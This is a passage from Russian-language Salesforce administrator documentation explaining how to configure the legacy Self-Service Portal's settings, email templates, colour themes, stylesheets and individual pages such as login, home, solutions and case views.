и выберите пункт «Параметры».

2. Щелкните «Настройка портала самообслуживания» на странице параметров
портала самообслуживания.

3. Заполните поля ниже.

ОписаниеПараметр

Данный параметр позволяет
пользователям входить на портал
самообслуживания.

Вход включен

Данный параметр отображает кнопку
«Включить самообслуживание» на
страницах сведений о контактах. Или
кнопку «Просмотр портала
самообслуживания» для контактов,
поддерживающих использование
портала самообслуживания.

Редактирование пользователей портала
самообслуживания

URL-адрес веб-страницы,
отображающейся пользователям после
выхода из портала самообслуживания
(например, http://www.acme.com).
Впротивном случае кнопка «Выход»не
отображается.

URL-адрес выхода

Стандартное происхождение,
назначаемоевсемобращениям, которые

Стандартное происхождение обращения

отправляются через портал
самообслуживания. Доступныезначения
извлекаютсяизраскрывающегосясписка
организации «Происхождение
обращения». Обращениям, которые
отправляются через портал
самообслуживания или посредством
функции Web-to-Case, могут быть
назначены разные стандартные
происхождения.

Флажок «Отображается на портале
самообслуживания» автоматически

Новые обращения, доступные на
портале

устанавливается для всех новых
обращений, включая обращения,
созданные посредством функций
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ОписаниеПараметр

Web-to-Case, Email-to-Case и On-Demand Email-to-Case.

Независимо от значения по умолчанию, пользователи,
создающие обращения, могут вручную установить
флажок «Отображается на портале самообслуживания».

Чтобы разрешить клиентам просмотр решений по
категориям, включите категории решений на портале
самообслуживания.

Есливорганизациивключенаподдержкамногоязычных
решений, то категориирешениймогут быть переведены.

Включить обзор решений

Категория верхнего уровня, доступная клиентам на
портале самообслуживания. Все решения данной

Категория верхнего уровня для портала
самообслуживания

категории и ее подкатегорий, помеченные как
«Отображается на портале самообслуживания»,
доступны клиентам для просмотра.

Чтобы разрешить клиентам просмотр всех решений,
помеченных как «Отображается на портале
самообслуживания» во всех категориях, пропустите
данное поле.

Тип записи, назначаемый всем обращениям, которые
отправляются через портал самообслуживания.

Тип записи обращения

Адрес эл. почты, используемый для отправки всех
сообщений о создании пользователя (например,

Адрес эл. почты отправителя

support@acme.com). Если данное поле не содержит
значения, то система Salesforce использует:

• Адрес эл. почты автоматического пользователя
обращений для пользователей, получающих
сообщениеэл. почты, содержащеевременныйпароль,
путемвыбора ссылки «Забылипароль?»на странице
входа портала самообслуживания. Автоматический
пользователь для обращений указан на странице
«Параметры поддержки» в меню «Настройка».

• Адрес эл. почты пользователя, опубликовавшего
комментарийпоследним, дляпользователей, которые
получают электронные уведомления о добавлении
комментариев к обращениям.

Имя, которое будет связано с адресом эл. почты
отправителя (например, «Службаподдержки Acme»). Если

Имя эл. почты отправителя

данное поле не содержит значения, то система Salesforce
использует:
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ОписаниеПараметр

• Имя организации для пользователей, получающих
сообщениеэл. почты, содержащеевременныйпароль,
путемвыбора ссылки «Забылипароль?»на странице
входа портала самообслуживания.

• Имя пользователя, опубликовавшего комментарий
последним, для пользователей, которые получают
электронныеуведомленияодобавлениикомментариев
к обращениям.

Шаблон эл. почты, используемый для отправки имени
пользователя и исходного пароля всем новым

Шаблон создания пользователя

пользователям портала самообслуживания. Образец
шаблона выбирается порталом самообслуживания
автоматически, но при необходимости может быть
изменен или использован для создания собственного
шаблона эл. почты. Данныйшаблон должен быть
помечен флажком «Доступно для использования».

Шаблон эл. почты, используемый для отправки нового
пароля текущим пользователям портала

Шаблон создания пароля

самообслуживания при восстановлении паролей
посредством ссылки «Забыли пароль?» на странице
входа портала самообслуживания. Образец шаблона
выбираетсяпорталомсамообслуживанияавтоматически,
но при необходимости может быть изменен или
использован для создания собственного шаблона эл.
почты. Данныйшаблон должен быть помеченфлажком
«Доступно для использования».

Если данныйфлажок установлен, то параметр
«Отправить клиентское уведомление» отображаетсядля
комментария к обращению.

Если этот флажок снят, отображается параметр
«Отправлять клиентам уведомление» в обращениях,

Включить поддержку электронных уведомлений о
добавлении новых комментариев к обращению

есливывключилиотправкууведомленийпоэлектронной
почте контактам, которые не являются участниками
портала самообслуживания. См. раздел «Настройка
параметров поддержки» на странице 2927.

Шаблон эл. почты, используемый для отправки
уведомления пользователям портала самообслуживания

Шаблон создания комментария

придобавленииобщедоступногокомментариякодному
из обращений. Образец шаблона выбирается порталом
самообслуживанияавтоматически, нопринеобходимости
может быть изменен или использован для создания
собственногошаблонаэл. почты. Данныйшаблондолжен
быть помечен флажком «Доступно для использования».

2721

Создание веб-каналов и каналов социальной сетиНастройка и обслуживание инструментов службы поддержки



ОписаниеПараметр

Обратите внимание, что ответственным за обращение
отправляется отдельное уведомление, недоступное для
настройки.

Данныйпараметропределяетнеобходимостьвыполнения
правилавтоматическогоответаприотправкеобращений
через портал самообслуживания.

Включить правила автоматического ответа для
обращений портала самообслуживания

Шаблон эл. почты, используемый в том случае, если
обращения, отправленные через портал

Шаблон создания обращения

самообслуживания, не соответствуют правилам
автоматического ответа.

Максимальная ширина страниц портала
самообслуживания (в пикселях) в системе Salesforce. При

Максимальная ширина страницы

самостоятельномразмещениипортала данныйпараметр
определяетширинувнутреннейрамки HTML на странице
входа портала самообслуживания.

Минимальнаявысотастраницпорталасамообслуживания
(в пикселях) в системе Salesforce.

Минимальная высота страницы

Полный общедоступный URL-адрес таблицы стилей
корпоративного портала самообслуживания (например,

URL-адрес таблицы стилей

http://www.acme.com/styles/selfservice.css). См. раздел
«Настройка внешнего вида портала самообслуживания»
на странице 2723.

При использовании предопределенной цветовой темы
пропустите данное поле.

Если собственная таблица стилей отсутствует,
воспользуйтесь цветовыми темами Salesforce. Чтобы

Цветовая тема

просмотреть параметрышаблона, щелкните ссылку
«Просмотр». Дополнительную информацию об
изменениишрифтов и цветов одной из цветовых тем
Salesforce см. в разделе «Настройка шрифтов и цветов
портала самообслуживания» на странице 2724.

Термин, используемый на портале самообслуживания
вместо термина «Обращение».

Обращение (термин в единственном числе)

Термин, используемый на портале самообслуживания
вместо термина «Обращения».

Обращение (термин во множественном числе)

Термин, используемый на портале самообслуживания
вместо термина «Решение».

Решение (термин в единственном числе)

Термин, используемый на портале самообслуживания
вместо термина «Решения».

Решение (термин во множественном числе)
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4. Чтобы сохранить параметры портала самообслуживания, нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка портала самообслуживания

Полезные советы для администраторов: эффективное использование портала самообслуживания

Руководство по административной настройке: руководство по внедрению портала самообслуживания

Настройка внешнего вида портала самообслуживания

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки портала
самообслуживания:
• «Управление порталом

самообслуживания»

Для изменения страниц
портала самообслуживания:
• «Управление порталом

самообслуживания»

И

«Настройка
приложения»

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

Чтобы разработать внешний вид портала самообслуживания, выполните указанные
ниже действия.

1. Настройте верхниеинижние колонтитулыстраницпортала самообслуживания (см.
раздел «Создание настраиваемых разделов верхнего и нижнего колонтитулов
страницы» на странице 2734).

2. Настройте шрифты и цвета портала самообслуживания одним из способов ниже.

• Выберитепредопределеннуюцветовуютемуилизагрузитесобственнуютаблицу
стилей на странице 2727.

• Настройтешрифтыицветапосредствоминтерактивногоредакторана странице
2724.

СМ. ТАКЖЕ:

Настройка портала самообслуживания
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Настройка шрифтов и цветов портала самообслуживания

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки портала
самообслуживания:
• «Управление порталом

самообслуживания»

Для изменения страниц
портала самообслуживания:
• «Управление порталом

самообслуживания»

И

«Настройка
приложения»

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

Фирменный стиль компанииможет быть сохраненпутемнастройкишрифтов и цветов
портала самообслуживания. Цветовая тема портала определяет шрифты и цвета,
используемыенапортале. Выберитепредопределеннуюцветовуютемуивоспользуйтесь
интерактивным редактором для ее настройки.

1. Введите строку «Шрифты и цвета» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Шрифты и цвета». Система Salesforce поддерживает
предопределенные темы, доступные для настройки. Чтобы просмотреть тему,
щелкните «Предварительный просмотр».

2. Выберите нужную цветовую тему.

Ниже перечислены действия, доступные на странице цветовой темы.

• Чтобы удалить все настройки, щелкните ссылку «Возврат к стандартным
значениям».

• Чтобывернутьсякспискуцветовыхтем, щелкнитессылку«Назадковсемтемам».

• Чтобы просмотреть настраиваемую тему, щелкните «Предварительный
просмотр имя темы».

3. Выберите страницу портала для настройки. Настройка цветовых тем выполняется
напостраничнойоснове; некоторыеэлементыстраницыиспользуютсянесколькими
страницами.

Ниже перечислены действия, доступные на странице портала.

• Чтобы просмотреть все элементы, доступные для настройки, щелкните «См.
примеры».

• Чтобы удалить настройки, щелкните «Очистить» напротив нужного элемента.

• Чтобы просмотреть настраиваемую тему, щелкните «Предварительный просмотр имя темы».

• Чтобы вернуться к списку всех страниц портала, щелкните ссылку «Назад ко всем страницам».

4. Щелкните ссылку «Правка» напротив нужного визуального элемента. Некоторые элементы доступны только на
выбранной странице портала, а некоторые — на нескольких страницах. Изменения, внесенные в общедоступные
элементы, применяются ко всем страницам.

Прим.: В зависимости от визуального элемента, атрибуты могут быть настроены посредством интерактивного
редактора или редактора настраиваемых таблиц стилей, поддерживающего непосредственное изменение
каскадных таблиц стилей. Чтобы выбрать нужный редактор, воспользуйтесь ссылкой «нажмите здесь». Чтобы
отображатьссылку «нажмитездесь» прииспользованииинтерактивногоредактора, установитефлажок «Показать
дополнительные атрибуты». Определение каскадных таблиц стилей должны выполнять только специалисты.

5. При необходимости измените визуальный элемент.

Ниже перечислены действия, доступные при использовании интерактивного редактора.

• Щелкните ссылку «Правка»напротивнужногоосновногоилидополнительногоатрибута. Еслидополнительные
атрибуты не отображаются, установите флажок «Показать дополнительные атрибуты».

• При необходимости измените атрибуты во всплывающем окне.
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• Чтобы подтвердить внесенные изменения, нажмите кнопку «OK».

При использовании редактора настраиваемых таблиц стилей введите действительный код CSS.

Полный список атрибутов страницы, доступных для редактирования, см. в разделе «Атрибуты страниц портала
самообслуживания» на странице 2740.

6. Чтобы сохранить все изменения, внесенные в визуальный элемент и его атрибуты, нажмите кнопку «Сохранить».
Настройки отображаются пользователям портала самообслуживания только после активации цветовой темы.

7. Чтобы настроить все визуальные элементы и их атрибуты, повторите указанные выше действия.

8. Чтобы вернуться к списку цветовых тем, последовательнощелкните ссылки «Назад ко всем страницам» и «Назад
ко всем темам».

9. Нажмите кнопку «Включить тему».

10. Выберите тему для активации на портале. Организация может использовать только одну активную тему.

11. Нажмите кнопку «Сохранить».

Прим.: Прежде чем активировать тему, рекомендуем выполнить все необходимые настройки, так как любые
изменения, внесенные в активную тему, применяются незамедлительно, поэтому могут мешать работе клиентов.

СМ. ТАКЖЕ:

Настройка портала самообслуживания

Настройка страниц портала самообслуживания

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения страниц
портала самообслуживания:
• «Управление порталом

самообслуживания»

И

«Настройка
приложения»

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

1. Введите строку «Портал самообслуживания» в поле «Быстрый поиск» в настройке и
выберите пункт «Параметры».

2. При необходимости измените любые страницы портала самообслуживания.
Дополнительную информацию см. в разделах ниже.

• Настройка страницы входа портала самообслуживания

• Настройка начальной страницы портала самообслуживания

• Включение страницы «Решения»

• Настройка страницы регистрации обращения портала самообслуживания

• Настройка страницы «Просмотр обращений»

• Настройка страницы «Предложенные решения»

Прим.:

• Страница портала самообслуживания может быть создана только в одной
версии. Темнеменее, каждая страница портала самообслуживанияможет быть
настроена пользователем.
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• Статьи Salesforce Knowledge не отображаются на портале самообслуживания.

СМ. ТАКЖЕ:

Настройка портала самообслуживания

Настройка таблицы стилей портала самообслуживания

Атрибуты страниц портала самообслуживания

Создание настраиваемых разделов верхнего и нижнего колонтитулов страницы

Подготовка к настройке портала

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для новых организаций. Текущие
организации могут использовать портал самообслуживания в обычном режиме.

Преждечемнастроитьпортал самообслуживанияиликлиентскийпортал Salesforce, выполните указанныенижедействия.

• Создайте общедоступные решения.Проверьте и пометьте решения флажком «Отображается на портале
самообслуживания». Портал самообслуживанияиклиентскийпорталмогутотображать толькорешения, помеченные
флажком «Отображается на портале самообслуживания». Прииспользованиипорталасамообслуживанияопределите
первые пять решений, которые должны отображаться на начальной странице.

• Определите сведения для отображения и сбора. Выберите поля, которые должны отображаться пользователям
припросмотре обращений. Принеобходимости выберите поля, которые должныбыть обязательнымиприотправке
обращений по Интернету, и значения раскрывающихся списков, которые могут быть выбраны при использовании
предложенных решений для принятия решений по собственным обращениям.

• Определите размещение портала. Выберите область для добавления URL-адреса входа портала на корпоративном
веб-узле. Дополнительнуюинформациюоразмещении URL-адреса входадляпортала самообслуживаниясм. вразделе
«Создание HTML входа». Дополнительную информацию о размещении URL-адреса входа для клиентского портала
см. в разделе Включение входа на клиентский портал и параметры на странице 2655.

• Настройтешаблоны сообщений портала. Выберите шаблоны эл. почты, которые должны отправляться
пользователям для их уведомления о разных действиях (например, сброс паролей, добавление общедоступных
комментариев в обращения и использование предложенных решений для отправки автоматических ответов на
обращения).

• Настройтеираспространитеполезныесоветыпоиспользованиюпортала.Загрузитедокумент «Использование
портала самообслуживания и клиентского портала» и выполните его редактирование в соответствии с фирменным
стилемифункциямипортала (например, предложенныерешенияивозможностьдобавленияфайлов вотправленные
обращения). Затем распространите данный документ среди клиентов, использующих портал для получения ответов
на собственные вопросы.

СМ. ТАКЖЕ:

Настройка портала самообслуживания

Настройка таблицы стилей портала самообслуживания
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Настройка таблицы стилей портала самообслуживания

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки портала
самообслуживания:
• «Управление порталом

самообслуживания»

Для изменения страниц
портала самообслуживания:
• «Управление порталом

самообслуживания»

И

«Настройка
приложения»

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

Выберите предопределенную цветовую тему или загрузите образец цветовой темы
портала самообслуживания, доступный для настройки. Данная цветовая тема позволяет
добавлять фирменный стиль организации на портал самообслуживания.

Прим.: Дополнительную информацию о настройке цветовой темы портала
самообслуживанияпосредствоминтерактивногоредакторасм. вразделе «Настройка
шрифтов и цветов портала самообслуживания» на странице 2724.

1. Введите строку «Портал самообслуживания» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Портал самообслуживания».

2. Щелкните «Настройка портала самообслуживания».

3. Щелкните ссылку «Просмотрпараметровцветовойтемы» в разделе «Параметры
страницы».

4. Выберите нужный набор шрифтов и цветов и щелкните «Загрузить данную
цветовую тему».

Чтобы воспользоваться предопределенной цветовой темой, щелкните «Выбрать
данную цветовую тему».

5. Сохраните загруженную цветовую тему. При необходимости веб-мастер может
выполнитьеедополнительнуюнастройку. Загруженнаяцветоваятема — этокаскадная
таблица стилей, доступная для редактирования веб-мастером.

6. Сохраните загруженную таблицу стилей в общедоступную папку и введите ее
URL-адрес в поле «URL-адрес таблицы стилей».

7. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка портала самообслуживания
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Настройка страницы входа портала самообслуживания

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения страниц
портала самообслуживания:
• «Управление порталом

самообслуживания»

И

«Настройка
приложения»

Чтобы определить содержимое, отображаемое пользователям при входе на портал,
настройте страницу входа портала самообслуживания.

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

1. Введите строку «Портал самообслуживания» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Портал самообслуживания».

2. Щелкните ссылку «Правка»напротивстроки «Страницавхода» в списке «Страницы
портала».

3. Чтобыотобразитьнастраиваемое сообщениена страницевхода, установитефлажок
«Показать сообщение».

4. Введите сообщение страницы в текстовое поле и измените размер, цвет или тип
шрифта посредством панели форматирования.

Чтобы просмотреть и изменить сообщение страницы в виде HTML-кода, установите
флажок «Показать HTML».

JavaScript неможетбыть сохраненкакчастьнастраиваемогокода, а системапозволяет
использовать только определенные HTML-элементы и атрибуты.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка портала самообслуживания

Настройка страниц портала самообслуживания
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Настройка начальной страницы портала самообслуживания

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения страниц
портала самообслуживания:
• «Управление порталом

самообслуживания»

И

«Настройка
приложения»

Чтобы добавить функции, которые должны отображаться пользователям при входе на
порталсамообслуживания, настройтеначальнуюстраницупортала самообслуживания.

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

1. Введите строку «Портал самообслуживания» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Портал самообслуживания».

2. Щелкните ссылку «Правка» напротив строки «Начальная страница» в списке
«Страницы портала».

3. Выберите нужные функции.

ОписаниеФункция

Данная функция отображает не более
пяти заголовков выбранныхрешенийна
начальной странице.

Показать список «Популярные
решения»

Данная функция отображает открытые
обращения вошедшего пользователя
портала самообслуживания.

Показать мои открытые обращения

Сообщение, которое должно
отображаться вверху начальной
страницы. Сообщениеможет содержать

Показать сообщение

не более 32 000 символов, включая
любые HTML-теги.

4. Чтобы показывать сообщение на странице, введите сообщение в текстовое поле и измените размер, цвет или тип
шрифта посредством панели форматирования.

Чтобыпросмотреть сообщениестраницыввиде HTML-кода, установитефлажок «Показать HTML». JavaScript неможет
быть сохраненкакчастьнастраиваемогокода, а системапозволяетиспользовать толькоопределенные HTML-элементы
и атрибуты.

5. При необходимости воспользуйтесь полями слияния.

6. Нажмите кнопку «Сохранить».

7. Чтобы открыть начальную страницу для предварительного просмотра, щелкните ссылку «Предварительный
просмотр» напротив строки «Начальная страница» в списке «Страницы портала». Если портал самообслуживания
поддерживает настраиваемую таблицу стилей, то окно предварительного просмотра отображает настраиваемые
стили.

Настройка популярных решений

Чтобынайти и выбрать решения, которые должныотображаться на начальной странице, установитефлажок «Показать
список "Популярные решения"» наначальнойстраницеинажмитекнопку «Добавить» в связанномсписке «Решения»

2729

Создание веб-каналов и каналов социальной сетиНастройка и обслуживание инструментов службы поддержки



на странице «Параметры портала самообслуживания». Разрешается выбирать только решения, помеченные как
«Отображается на портале самообслуживания».

СМ. ТАКЖЕ:

Настройка портала самообслуживания

Настройка страниц портала самообслуживания

Включение страницы «Решения»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения страниц
портала самообслуживания:
• «Управление порталом

самообслуживания»

И

«Настройка
приложения»

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

Чтобы включить страницу «Решения» на портале самообслуживания, воспользуйтесь
связанным списком «Страницы портала самообслуживания». Страница «Решения»
позволяет просматривать решения с меткой «Отображается на портале
самообслуживания» и все файлы, вложенные в эти решения.

1. Чтобы включить данную страницу, щелкните «Правка» в строке «Страница
"Решения"».

2. Установите флажок «Показать страницу "Решения"».

3. Чтобы отобразить сообщение в верхней части страницы «Решения», установите
флажок «Показать сообщение».

4. Введитенужноесообщениевтекстовоеполеиизменитеразмер, цветилитипшрифта
посредством панели форматирования.

При необходимости установите флажок «Показать HTML» для просмотра
сообщения в HTML-коде. JavaScript неможет быть сохранен как часть настраиваемого
кода, а система позволяет использовать только определенные HTML-элементы и
атрибуты.

5. При необходимости воспользуйтесь полями слияния.

6. Нажмите кнопку «Сохранить».

7. Чтобы открыть страницу «Решения» для предварительного просмотра, щелкните «Предварительный просмотр»
в строке «Страница "Решения"». Если портал самообслуживания поддерживает настраиваемую таблицу стилей, то
окно предварительного просмотра отображает настраиваемые стили.

СМ. ТАКЖЕ:

Настройка портала самообслуживания

Настройка страниц портала самообслуживания
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Настройка страницы регистрации обращения портала самообслуживания

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения страниц
портала самообслуживания:
• «Управление порталом

самообслуживания»

И

«Настройка
приложения»

Страница регистрации обращения на портале самообслуживания позволяет
пользователям отправлять новые обращения в службу поддержки клиентов. Чтобы
настроить страницу, создайте сообщение страницы, добавьте поля слияния и выберите
нужные поля обращений.

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

Новые обращения, отправленные посредством данной страницы, автоматически
создаютсянапортале самообслуживанияиназначаютсясотрудникуслужбыподдержки
или очереди, заданной правилами назначения обращений.

1. Введите строку «Портал самообслуживания» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Портал самообслуживания».

2. Щелкните ссылку «Правка» напротив строки «Страница регистрации обращения»
в списке «Страницы портала».

3. Установите флажок «Показать страницу "Зарегистрировать обращение"».

4. Чтобы отобразить сообщение на данной странице, установите флажок «Показать
сообщение».

5. Введите сообщение страницы в текстовое поле и измените размер, цвет или тип
шрифта посредством панели форматирования.

Чтобы просмотреть и изменить сообщение страницы в виде HTML-кода, установите
флажок «Показать HTML». JavaScript не может быть сохранен как часть
настраиваемого кода, а система позволяет использовать только определенные HTML-элементы и атрибуты.

6. При необходимости воспользуйтесь полями слияния.

7. Нажмите кнопку «Сохранить».

8. Чтобы изменить поля, отображаемые на странице, щелкните ссылку «Макет страницы».

Прим.: Если поле обращения связано с правилом проверки, то правило может препятствовать регистрации
обращений пользователями портала самообслуживания, при условии, что данное поле недоступно им для
заполнения. Рекомендуем разрешить отображение данных полей на странице «Зарегистрировать обращение».

9. По завершении нажмите кнопку «Сохранить».

10. Чтобы открыть страницу регистрации обращения для предварительного просмотра, щелкните ссылку
«Предварительныйпросмотр»напротивстроки «Страницарегистрацииобращения» в списке «Страницыпортала».
Еслипорталсамообслуживанияподдерживаетнастраиваемуютаблицустилей, тоокнопредварительногопросмотра
отображает настраиваемые стили.

СМ. ТАКЖЕ:

Настройка портала самообслуживания

Настройка страниц портала самообслуживания
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Настройка страницы «Просмотр обращений»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения страниц
портала самообслуживания:
• «Управление порталом

самообслуживания»

И

«Настройка
приложения»

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

Чтобы включить и настроить страницу «Просмотр обращений», воспользуйтесь
связанным списком «Страницы портала самообслуживания». Страница «Просмотр
обращений» позволяет просматривать открытые и закрытые обращения, связанные
решения, завершенные действия и комментарии, а также добавлять комментарии к
обращениям.

1. Щелкните «Правка» в строке «Страница "Просмотр обращений"».

2. Чтобы разрешить пользователям просмотр открытых и закрытых обращений,
установите флажок «Показать страницу "Просмотр обращений"».

3. Чтобыразрешитьпользователямдобавлениекомментариевкобращениям, установите
флажок «Добавить комментарии к обращениям». Сообщение эл. почты
автоматически отправляется ответственному за обращение при каждом добавлении
комментария.

4. Чтобы разрешить пользователям добавление файлов в обращения, установите
флажок «Добавить вложения к обращениям». Сообщениеэл. почтыавтоматически
отправляется ответственному за обращение при каждом добавлении вложения.

Чтобы разрешить пользователям портала самообслуживания просмотр файлов,
добавленных в обращения, добавьте связанный список «Вложения к обращению»
приредактированиимакетастраницы «Просмотробращений». Обратитевнимание,
что данный связанный список также содержит любые файлы, добавленные в
обращения сотрудниками службы поддержки.

5. Чтобы отобразить сообщение на данной странице, установите флажок «Показать сообщение».

6. Введите нужное сообщение в текстовое поле и измените размер, цвет или типшрифта посредством панели
форматирования.

Чтобыпросмотреть сообщениестраницыввиде HTML-кода, установитефлажок «Показать HTML». JavaScript неможет
быть сохраненкакчастьнастраиваемогокода, а системапозволяетиспользовать толькоопределенные HTML-элементы
и атрибуты.

7. При необходимости воспользуйтесь полями слияния.

8. Нажмите кнопку «Сохранить».

9. Чтобы изменить поля и связанные списки, отображаемые на странице, щелкните ссылку «Макет страницы».

Чтобы разрешить пользователям портала самообслуживания просмотр общедоступных завершенных действий,
связанныхсобращениями, добавьте связанныйсписок «Действияобращения». Чтобыразрешитьсотрудникамслужбы
поддержкиотображениеилисокрытие завершенныхдействийнапортале самообслуживанияпутемвыборапараметра
«Сделать общедоступным» или «Сделать личным» в связанном списке обращения «Журнал действий», настройте
доступность флажка «Отображается на портале самообслуживания» в макетах страниц действий.

10. По завершении нажмите кнопку «Сохранить».

11. Чтобыоткрыть страницу «Просмотр обращений» для предварительногопросмотра, щелкните «Предварительный
просмотр»встроке «Страница "Просмотробращений"». Еслипорталсамообслуживанияподдерживаетнастраиваемую
таблицу стилей, то окно предварительного просмотра отображает настраиваемые стили.
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Совет: Чтобы скрыть определенные обращения от пользователей портала, снимите флажок «Отображается на
портале самообслуживания» для соответствующего обращения.

Прим.: Страница «Просмотробращений» отображаетобращенияпоубываниюнаосновеполя «Номер обращения».
Пользователи портала самообслуживания не могут изменять данный порядок и сортировать столбцы обращений.

СМ. ТАКЖЕ:

Настройка портала самообслуживания

Настройка страниц портала самообслуживания

Настройка страницы «Предложенные решения»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения страниц
портала самообслуживания:
• «Управление порталом

самообслуживания»

И

«Настройка
приложения»

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

Связанный список «Страницы портала самообслуживания» позволяет включить и
настроитьстраницу «Предложенныерешения». Даннаястраницапозволяетпросмотреть
не более 10 возможных решений по отдельному обращению. Пользователи могут
просматривать предложенные решения и самостоятельно закрывать обращения при
отправке обращений или их просмотре на портале самообслуживания.

Чтобы настроить страницу «Предложенные решения», выполните указанные ниже
действия.

1. Щелкните «Правка» в строке «Страница "Предложенные решения"».

2. Чтобы включить страницу на портале самообслуживания, установите флажок
«Показать страницу "Предложенные решения"».

3. Выберите «Статус самозакрывающегося обращения» для отображения в поле
«Статус» тех обращений, которые закрываются пользователями портала
самообслуживания. Рекомендуем выбрать как минимум одно значение «Закрыто»
для данного поля.

4. Выберите максимальное количество предложенных решений для отображения
пользователю за один раз. Разрешается отображать не более 10 решений.

5. Выберите «Причины самозакрывающегося обращения», которые должны быть
доступныпользователямпорталасамообслуживанияприсамостоятельномзакрытии
собственных обращений.

6. Чтобы отображать сообщение на данной странице, установите флажок «Показать сообщение».

7. Введите нужное сообщение в текстовое поле и измените размер, цвет или типшрифта посредством панели
форматирования.

При необходимости установите флажок «Показать HTML» для просмотра сообщения в HTML-коде.

JavaScript неможетбытьсохраненкакчастьнастраиваемогокода, асистемапозволяетиспользоватьтолькоопределенные
HTML-элементы и атрибуты.

8. При необходимости воспользуйтесь полями слияния.

9. Нажмите кнопку «Сохранить».
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10. Чтобыоткрытьстраницу «Предложенныерешения» дляпредварительногопросмотра, щелкните«Предварительный
просмотр»встроке «Страница "Предложенныерешения"». Еслинастроенатаблицастилейпорталасамообслуживания,
то для предварительного просмотра страницы используются настраиваемые стили.

СМ. ТАКЖЕ:

Настройка портала самообслуживания

Настройка страниц портала самообслуживания

Создание настраиваемых разделов верхнего и нижнего колонтитулов страницы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки портала
самообслуживания:
• «Управление порталом

самообслуживания»

Для изменения страниц
портала самообслуживания:
• «Управление порталом

самообслуживания»

И

«Настройка
приложения»

Чтобы применить фирменный стиль компании ко всем страницам портала
самообслуживания, настройте верхние и нижние колонтитулы страниц. Верхние и
нижние колонтитулы страниц портала могут содержать логотип, сообщение или цвета
компании.

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

1. Введите строку «Портал самообслуживания» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Портал самообслуживания».

2. Щелкните ссылку «Правка» напротив параметра «Верхний колонтитул страницы»
